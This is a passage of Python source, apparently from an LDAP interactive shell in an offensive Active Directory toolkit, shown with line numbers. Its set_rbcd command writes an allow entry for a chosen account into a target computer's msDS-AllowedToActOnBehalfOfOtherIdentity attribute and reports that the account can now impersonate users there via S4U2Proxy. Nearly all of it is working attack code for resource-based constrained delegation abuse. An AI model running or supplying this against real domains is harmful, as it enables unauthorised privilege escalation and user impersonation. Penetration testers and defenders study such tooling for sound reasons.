(self, line)
| 542 | raise Exception('The server returned an error: %s', self.client.result['message']) |
| 543 | |
| 544 | def do_set_rbcd(self, line): |
| 545 | args = shlex.split(line) |
| 546 | |
| 547 | if len(args) != 1 and len(args) != 2: |
| 548 | raise Exception("Error expecting target and grantee names for RBCD attack. Recieved %d arguments instead." % len(args)) |
| 549 | |
| 550 | target_name = args[0] |
| 551 | grantee_name = args[1] |
| 552 | |
| 553 | target_sid = args[0] |
| 554 | grantee_sid = args[1] |
| 555 | |
| 556 | success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(target_name), attributes=['objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity']) |
| 557 | if success is False or len(self.client.entries) != 1: |
| 558 | raise Exception("Error expected only one search result got %d results", len(self.client.entries)) |
| 559 | |
| 560 | target = self.client.entries[0] |
| 561 | target_sid = target["objectSid"].value |
| 562 | print("Found Target DN: %s" % target.entry_dn) |
| 563 | print("Target SID: %s\n" % target_sid) |
| 564 | |
| 565 | success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(grantee_name), attributes=['objectSid']) |
| 566 | if success is False or len(self.client.entries) != 1: |
| 567 | raise Exception("Error expected only one search result got %d results", len(self.client.entries)) |
| 568 | |
| 569 | grantee = self.client.entries[0] |
| 570 | grantee_sid = grantee["objectSid"].value |
| 571 | print("Found Grantee DN: %s" % grantee.entry_dn) |
| 572 | print("Grantee SID: %s" % grantee_sid) |
| 573 | |
| 574 | try: |
| 575 | sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=target['msDS-AllowedToActOnBehalfOfOtherIdentity'].raw_values[0]) |
| 576 | print('Currently allowed sids:') |
| 577 | for ace in sd['Dacl'].aces: |
| 578 | print(' %s' % ace['Ace']['Sid'].formatCanonical()) |
| 579 | |
| 580 | if ace['Ace']['Sid'].formatCanonical() == grantee_sid: |
| 581 | print("Grantee is already permitted to perform delegation to the target host") |
| 582 | return |
| 583 | |
| 584 | except IndexError: |
| 585 | sd = self.create_empty_sd() |
| 586 | |
| 587 | sd['Dacl'].aces.append(self.create_allow_ace(grantee_sid)) |
| 588 | self.client.modify(target.entry_dn, {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]}) |
| 589 | |
| 590 | if self.client.result['result'] == 0: |
| 591 | print('Delegation rights modified successfully!') |
| 592 | print('%s can now impersonate users on %s via S4U2Proxy' % (grantee_name, target_name)) |
| 593 | else: |
| 594 | if self.client.result['result'] == 50: |
| 595 | raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) |
| 596 | elif self.client.result['result'] == 19: |
| 597 | raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) |
| 598 | else: |
| 599 | raise Exception('The server returned an error: %s', self.client.result['message']) |
| 600 | |
| 601 | def search(self, query, *attributes): |
nothing calls this directly
no test coverage detected